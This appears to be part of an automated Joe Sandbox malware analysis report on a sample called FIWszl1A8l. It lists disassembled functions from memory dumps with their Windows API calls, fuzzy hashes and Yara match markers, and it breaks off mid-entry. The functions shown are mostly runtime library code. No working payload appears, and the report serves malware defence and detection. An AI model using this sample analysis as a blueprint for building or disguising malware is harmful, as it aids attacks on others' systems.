Opcode Fuzzy Hash: b29413f53a7b2381ab1757795e4a6a5dcfe81d7365e391f78b016ca51a8838f5
Instruction Fuzzy Hash: 4AF090319C4318BBEB309BA0DC4DFEA7778FB14B00F210694BB19A61C4DA706E58CB54

Function 02D075B0 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 02D075D2
GetCommandLineW.KERNEL32 ref: 02D075D8
GetStartupInfoW.KERNEL32(?), ref: 02D075E7
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 02D0760F
ExitProcess.KERNEL32 ref: 02D07617

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: 52542ce28f7ca2929899bbc27f411c7b31259ef27ef5098b5dc2cfb0c2edafb7
Instruction ID: 90bebdca9055e27c05a84baac6820d7c3143a4e615044583bc954f3766747dd8
Opcode Fuzzy Hash: 52542ce28f7ca2929899bbc27f411c7b31259ef27ef5098b5dc2cfb0c2edafb7
Instruction Fuzzy Hash: D2F0B4719C4319BBE7309BA0DC4DFD97778EB14B00F610694BB19A61C4DA706E58CF54

Function 02D0F9B8 Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02D11CD0: _doexit.LIBCMT ref: 02D11CDC

___set_flsgetvalue.LIBCMT ref: 02D0F9CA

Part of subcall function 02D13CA0: TlsGetValue.KERNEL32(00000000,02D13DF9,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000), ref: 02D13CA9
Part of subcall function 02D13CA0: DecodePointer.KERNEL32(?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06,0000000D), ref: 02D13CBB
Part of subcall function 02D13CA0: TlsSetValue.KERNEL32(00000000,?,02D14500,00000000,00000001,00000000,?,02D18DE6,00000018,02D26448,0000000C,02D18E76,00000000,00000000,?,02D13F06), ref: 02D13CCA

___fls_getvalue@4.LIBCMT ref: 02D0F9D5

Part of subcall function 02D13C80: TlsGetValue.KERNEL32(?,?,02D0F9DA,00000000), ref: 02D13C8E

___fls_setvalue@8.LIBCMT ref: 02D0F9E8

Part of subcall function 02D13CD4: DecodePointer.KERNEL32(?,?,?,02D0F9ED,00000000,?,00000000), ref: 02D13CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 02D0F9F1
ExitThread.KERNEL32 ref: 02D0F9F8
GetCurrentThreadId.KERNEL32 ref: 02D0F9FE
__freefls@4.LIBCMT ref: 02D0FA1E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: 064f8d9c8eafe756d484cbeb99a3e882f24c2b38b1bcf9fd9dc1e3c7e1b0c7dc
Instruction ID: dbbacf5e7404b25952ddcf5573bb0b19c48469f0edac27c92bbd57ab74c60148
Opcode Fuzzy Hash: 064f8d9c8eafe756d484cbeb99a3e882f24c2b38b1bcf9fd9dc1e3c7e1b0c7dc
Instruction Fuzzy Hash: 38E04F31C402157B8F5037B2AD0CA8E7A1FDE00381F210480FE04A3B10EE24DD91CBB1

Function 009771AA Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 009782F0: _doexit.LIBCMT ref: 009782FC

___set_flsgetvalue.LIBCMT ref: 009771BC

Part of subcall function 00979754: TlsGetValue.KERNEL32(00000000,009798AD,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000), ref: 0097975D
Part of subcall function 00979754: DecodePointer.KERNEL32(?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA,0000000D), ref: 0097976F
Part of subcall function 00979754: TlsSetValue.KERNEL32(00000000,?,00979FB0,00000000,00000001,00000000,?,0097C0CF,00000018,00987C70,0000000C,0097C15F,00000000,00000000,?,009799BA), ref: 0097977E

___fls_getvalue@4.LIBCMT ref: 009771C7

Part of subcall function 00979734: TlsGetValue.KERNEL32(?,?,009771CC,00000000), ref: 00979742

___fls_setvalue@8.LIBCMT ref: 009771DA

Part of subcall function 00979788: DecodePointer.KERNEL32(?,?,?,009771DF,00000000,?,00000000), ref: 00979799

GetLastError.KERNEL32(00000000,?,00000000), ref: 009771E3
ExitThread.KERNEL32 ref: 009771EA
GetCurrentThreadId.KERNEL32 ref: 009771F0
__freefls@4.LIBCMT ref: 00977210

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: a8f3861582775e4144096f0e87e531ffc4ff7a936c2e7efd4eaff789d9c310d4
Instruction ID: 6752af9f81bea024345ff23c601fe9c8fa585cf940102fb2a4423aa052626d11
Opcode Fuzzy Hash: a8f3861582775e4144096f0e87e531ffc4ff7a936c2e7efd4eaff789d9c310d4
Instruction Fuzzy Hash: 74E04F3781960967CF043FF18D0EB9F7A2CDE81354F10C800FA1897112DA28980187A5

Function 009257F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00925820
_memset.LIBCMT ref: 0092583F
_memset.LIBCMT ref: 00925874

Part of subcall function 009259B7: _vswprintf_s.LIBCMT ref: 009259C8

Strings

D, xrefs: 00925853

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: c8561399999e88f50518954755fe2256d0c041f48f054e3226c8471d41118f6d
Instruction ID: f0fad18f47caea0b84a0a3c42c6efbdaf0205cab15a916844266ed421c25e65b
Opcode Fuzzy Hash: c8561399999e88f50518954755fe2256d0c041f48f054e3226c8471d41118f6d
Instruction Fuzzy Hash: 354165B0A40318EFE721DB60DC85FAA77BCAF58704F50859CF64DAA184D6B1DA84CF94

Function 0282780F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02827832
_memset.LIBCMT ref: 0282785E
_memset.LIBCMT ref: 02827893

Part of subcall function 028280DF: _vswprintf_s.LIBCMT ref: 028280F0

Strings

D, xrefs: 02827872

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: cf7116fa26cd05665a4fc66a2bfa2b13dadcbba7699ed49424b3b1d6dc26d4e0
Instruction ID: 4a1c27a510af990165b335169046a7d1f20e316ce7c14faa62b393221d392686
Opcode Fuzzy Hash: cf7116fa26cd05665a4fc66a2bfa2b13dadcbba7699ed49424b3b1d6dc26d4e0
Instruction Fuzzy Hash: 3941C5B9900228ABEB20DB65DC94FDEB7BCAB48700F1041D9E60DE6180EBB05BC5CF54

Function 03FAC10B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03FAC12E
_memset.LIBCMT ref: 03FAC15A
_memset.LIBCMT ref: 03FAC18F

Part of subcall function 03FAC9DB: _vswprintf_s.LIBCMT ref: 03FAC9EC

Strings

D, xrefs: 03FAC16E

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: cf7116fa26cd05665a4fc66a2bfa2b13dadcbba7699ed49424b3b1d6dc26d4e0
Instruction ID: 02b698feb956edb2b7dfc3caac796f3436b8c13be172f77540ec6da27e719fbf
Opcode Fuzzy Hash: cf7116fa26cd05665a4fc66a2bfa2b13dadcbba7699ed49424b3b1d6dc26d4e0
Instruction Fuzzy Hash: 9841A4B1A00358ABEB20DBA5DC84FDE77BCAB48700F5041D9E60DA61C0EAB05B85CF64

Function 02D09430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D0944A

Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EF9B
Part of subcall function 02D0EF86: __CxxThrowException@8.LIBCMT ref: 02D0EFB0
Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EFC1

std::_Xinvalid_argument.LIBCPMT ref: 02D09482

Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF4E
Part of subcall function 02D0EF39: __CxxThrowException@8.LIBCMT ref: 02D0EF63
Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF74

Strings

invalid string position, xrefs: 02D09445
string too long, xrefs: 02D0947D

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 4cd4e5b097fdb645109da70b0679657d9fb6966f7bfaf7d306a3f7f7c0747a3f
Instruction ID: 67c284fc0e564035f78e1bcd2c0164ffccc6f60a2beb986d52b40be229b4e0bb
Opcode Fuzzy Hash: 4cd4e5b097fdb645109da70b0679657d9fb6966f7bfaf7d306a3f7f7c0747a3f
Instruction Fuzzy Hash: 492184327042108BD720996CF8D0BDAF7D9EB91A64F60092BE192CB7E2D761DC44C7A5

Function 02D084B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D084C9

Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EF9B
Part of subcall function 02D0EF86: __CxxThrowException@8.LIBCMT ref: 02D0EFB0
Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EFC1

std::_Xinvalid_argument.LIBCPMT ref: 02D084E7

Strings

invalid string position, xrefs: 02D084C4
string too long, xrefs: 02D084E2

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: invalid string position$string too long
API String ID: 963545896-4289949731
Opcode ID: 6f31d4bf3a6669b4e92f3b2d56dc492048398f272334cb94bb54019a9c106da4
Instruction ID: 9886620dd4c0fc0630fbeb39416b78f58a4ae40f1065f51938a092fe11cfd4c2
Opcode Fuzzy Hash: 6f31d4bf3a6669b4e92f3b2d56dc492048398f272334cb94bb54019a9c106da4
Instruction Fuzzy Hash: A82160717003069B8B18DF68E8D4E5D73AAFF883147104569E516CB7A1E770ED54CBA4

Function 00933A27 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00933A3A

Part of subcall function 00933995: ___BuildCatchObjectHelper.LIBCMT ref: 009339CB

_UnwindNestedFrames.LIBCMT ref: 00933A51

Strings

csm, xrefs: 00933A36, 00933A4B, 00933A5E, 00933A7C, 00933A8C
csm, xrefs: 00933A29

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 89c3320d0474645247c3c67212eae3c11149a552edfa3944202bf333f7b9d033
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: C601F23104010ABBDF12AF51CD4AFAB7F6AEF48354F108010BD5865661E776DAB1EFA1

Function 0284031A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0284032D

Part of subcall function 02840288: ___BuildCatchObjectHelper.LIBCMT ref: 028402BE

_UnwindNestedFrames.LIBCMT ref: 02840344

Strings

csm, xrefs: 02840329, 0284033E, 02840351, 0284036F, 0284037F
csm, xrefs: 0284031C

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction ID: a09745e068ffd7918f554851a4fca93550bee942cce2d07acd7e995c9d4619f6
Opcode Fuzzy Hash: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction Fuzzy Hash: 5F01243D40010ABBCF166E55CC84EEB3F6AEF18348F044010FE1C98520DB3698A1EBE1

Function 03FC4C16 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 03FC4C29

Part of subcall function 03FC4B84: ___BuildCatchObjectHelper.LIBCMT ref: 03FC4BBA

_UnwindNestedFrames.LIBCMT ref: 03FC4C40

Strings

csm, xrefs: 03FC4C25, 03FC4C3A, 03FC4C4D, 03FC4C6B, 03FC4C7B
csm, xrefs: 03FC4C18

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction ID: 4563dbfb44f9b017e7b824652b24ed7b6ae5f01f9e6945be19f0f40124ccf789
Opcode Fuzzy Hash: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction Fuzzy Hash: F601283549028BBBCF13EE52CE54EEA7F6AEF08354F044018BD1819170D736D961DBA0

Function 02D0D830 Relevance: 6.4, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 02D0D868
IsBadReadPtr.KERNEL32(?,00000014), ref: 02D0D938
SetLastError.KERNEL32(0000007F), ref: 02D0D963

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Read$ErrorLast
String ID:
API String ID: 2715074504-0
Opcode ID: 3f371618415ec81d9a7a096c573b2324305ec41d599c40bfb71e54070a43573a
Instruction ID: e16aff95efb90e5ca38782ec3b1471843890c35b9aeb0391fa6249a72720ba41
Opcode Fuzzy Hash: 3f371618415ec81d9a7a096c573b2324305ec41d599c40bfb71e54070a43573a
Instruction Fuzzy Hash: 95418A71A00205ABDB20CF99E884B6AF7FAFF88714F14855AE84997395D770E911CB90

Function 00929A9D Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00929AB1

Part of subcall function 0092977C: _free.LIBCMT ref: 0092C00B

__init_pointers.LIBCMT ref: 00929B63
__calloc_crt.LIBCMT ref: 00929BD1

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 3556499859-0
Opcode ID: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction ID: 148008fcd7b6620a87ae7e1d45908d9404350381dc7647cd5a68707f2ca83662
Opcode Fuzzy Hash: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction Fuzzy Hash: 8E314D31850E35EEFB21AF74AD887453EEAEB49361B188516E415D7274FB31C481CF50

Function 028339D3 Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 028339E7

Part of subcall function 028336B0: _free.LIBCMT ref: 0283870A

__init_pointers.LIBCMT ref: 02833A99
__calloc_crt.LIBCMT ref: 02833B07

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 3556499859-0
Opcode ID: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction ID: a3a8a6f61cb7402f9a47f69905400b52db23c05ea11359f7ea48bf7c7faa2e3a
Opcode Fuzzy Hash: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction Fuzzy Hash: CB316D39902A20EFFB13EB758C98A567FA5EB44B64B10455AF914C62B1E7348055EFC0

Function 03FB82CF Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 03FB82E3

Part of subcall function 03FB7FAC: _free.LIBCMT ref: 03FBD006

__init_pointers.LIBCMT ref: 03FB8395
__calloc_crt.LIBCMT ref: 03FB8403

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__mtterm_free
String ID:
API String ID: 3556499859-0
Opcode ID: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction ID: 0213ca6b7908a657e56a4a7e1db7d397d8197dbfa8c45dd6bac67ad5541eaef7
Opcode Fuzzy Hash: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction Fuzzy Hash: 23316F71D01761EFFB52EB769C98A967FB8EB847A0B18412AF914CB1B1EB308045DF50

Function 02D1A5C2 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02D1A5F6
__isleadbyte_l.LIBCMT ref: 02D1A629
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 02D1A65A
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 02D1A6C8

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 7e9d43dcdc434b73c7ac5d0c73062264c7bace4a1a8d70f182b185d4895e157c
Instruction ID: f2c8333fe6980e633d0a6ca0bf1151003e328b71834bfe8c595b45d9fbe2b916
Opcode Fuzzy Hash: 7e9d43dcdc434b73c7ac5d0c73062264c7bace4a1a8d70f182b185d4895e157c
Instruction Fuzzy Hash: E031F031A06286FFDB21DFA4E880ABE7BA5FF01314F1985A9E4618B790E730DD40CB50

Function 0097E425 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0097E459
__isleadbyte_l.LIBCMT ref: 0097E48C
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 0097E4BD
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 0097E52B

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c2c9c12bca1ee3cdcb1e296a90d2ea9fe7297d5409b954cf9ef21d25f34e9ef3
Instruction ID: b16ac348f07811ad121c13bb6f65cb6ecc8055f1e179f63df057810af8232ce9
Opcode Fuzzy Hash: c2c9c12bca1ee3cdcb1e296a90d2ea9fe7297d5409b954cf9ef21d25f34e9ef3
Instruction Fuzzy Hash: C031C332A04255EFDF10DF64C884AB93BA9AF09310F19C5E9F4698B1B1D730DD50DB51

Function 02D08020 Relevance: 6.1, APIs: 4, Instructions: 91stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 02D08038
_memset.LIBCMT ref: 02D08042
lstrlenW.KERNEL32(?), ref: 02D0804B
lstrlenW.KERNEL32(?), ref: 02D08056

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: lstrlen$_memset
String ID:
API String ID: 2425037729-0
Opcode ID: 41152bbc626d90be37df571ac941429cfeddbeb2b9d81119a76fbb94fe229bcd
Instruction ID: 34f27b5cb2f9fe16a845007b86ac8a2bfe84c17bb1e3fd617d31ed1a78318835
Opcode Fuzzy Hash: 41152bbc626d90be37df571ac941429cfeddbeb2b9d81119a76fbb94fe229bcd
Instruction Fuzzy Hash: A221D672B001199BCB248E68DCC0FBE73AAEBC4720B35426DED09C7761EB719D51D6A0

Function 02D04380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 02D043EC

Part of subcall function 02D013A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 02D013CB

Part of subcall function 02D041E0: EnterCriticalSection.KERNEL32(02D04FB5,02D04E55,02D042BE,00000000,?,?,02D04E55,?,?,?,?,00000000,000000FF), ref: 02D041E8
Part of subcall function 02D041E0: LeaveCriticalSection.KERNEL32(02D04FB5,?,?,?,00000000,000000FF), ref: 02D041F6

Part of subcall function 02D04C70: HeapFree.KERNEL32(?,00000000,?,00000000,02D04E55,?,02D042C8,02D04E55,00000000,?,?,02D04E55,?), ref: 02D04C97

SetLastError.KERNEL32(00000000,?), ref: 02D043D7
SetLastError.KERNEL32(00000057), ref: 02D04401
WSAGetLastError.WS2_32(?), ref: 02D04410

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalHeapSection$AllocEnterFreeLeave
String ID:
API String ID: 2060118545-0
Opcode ID: 9538584b7105293616b9b507bed9eb8a66188b0dabba250bf0aa71eb9a0440f0
Instruction ID: 9d95e6bd5ef49dc2b2c29a4af9612c1812cec4bb607cc801ec7aec08523a133a
Opcode Fuzzy Hash: 9538584b7105293616b9b507bed9eb8a66188b0dabba250bf0aa71eb9a0440f0
Instruction Fuzzy Hash: C811A736A0551897CB10EE69F884A9EB7A8EF94322B0545AAFD0CD3350D7319E1586E0

Function 00974380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 009743EC

Part of subcall function 009713A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 009713CB

Part of subcall function 00974C50: HeapFree.KERNEL32(?,00000000,?,00000000,00974E35,?,009742C8,00974E35,00000000,?,?,00974E35,?), ref: 00974C77

SetLastError.KERNEL32(00000000,?), ref: 009743D7
SetLastError.KERNEL32(00000057), ref: 00974401
WSAGetLastError.WS2_32(?), ref: 00974410

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ErrorLast$Heap$AllocFree
String ID:
API String ID: 1906775185-0
Opcode ID: 36de4e8aaec973190ba719ca9ab10cedbdc55f04f608bf908fb1065d2def063c
Instruction ID: 40a53f5c8b93f3b64259e240424253a2418c53e01632e75f4f586d7e65e695bf
Opcode Fuzzy Hash: 36de4e8aaec973190ba719ca9ab10cedbdc55f04f608bf908fb1065d2def063c
Instruction Fuzzy Hash: E4117337A095289BC710EF69F8846EEB7A8EB84722B1581AAED0DE7201D7359D0547D0

Function 02D0DE70 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

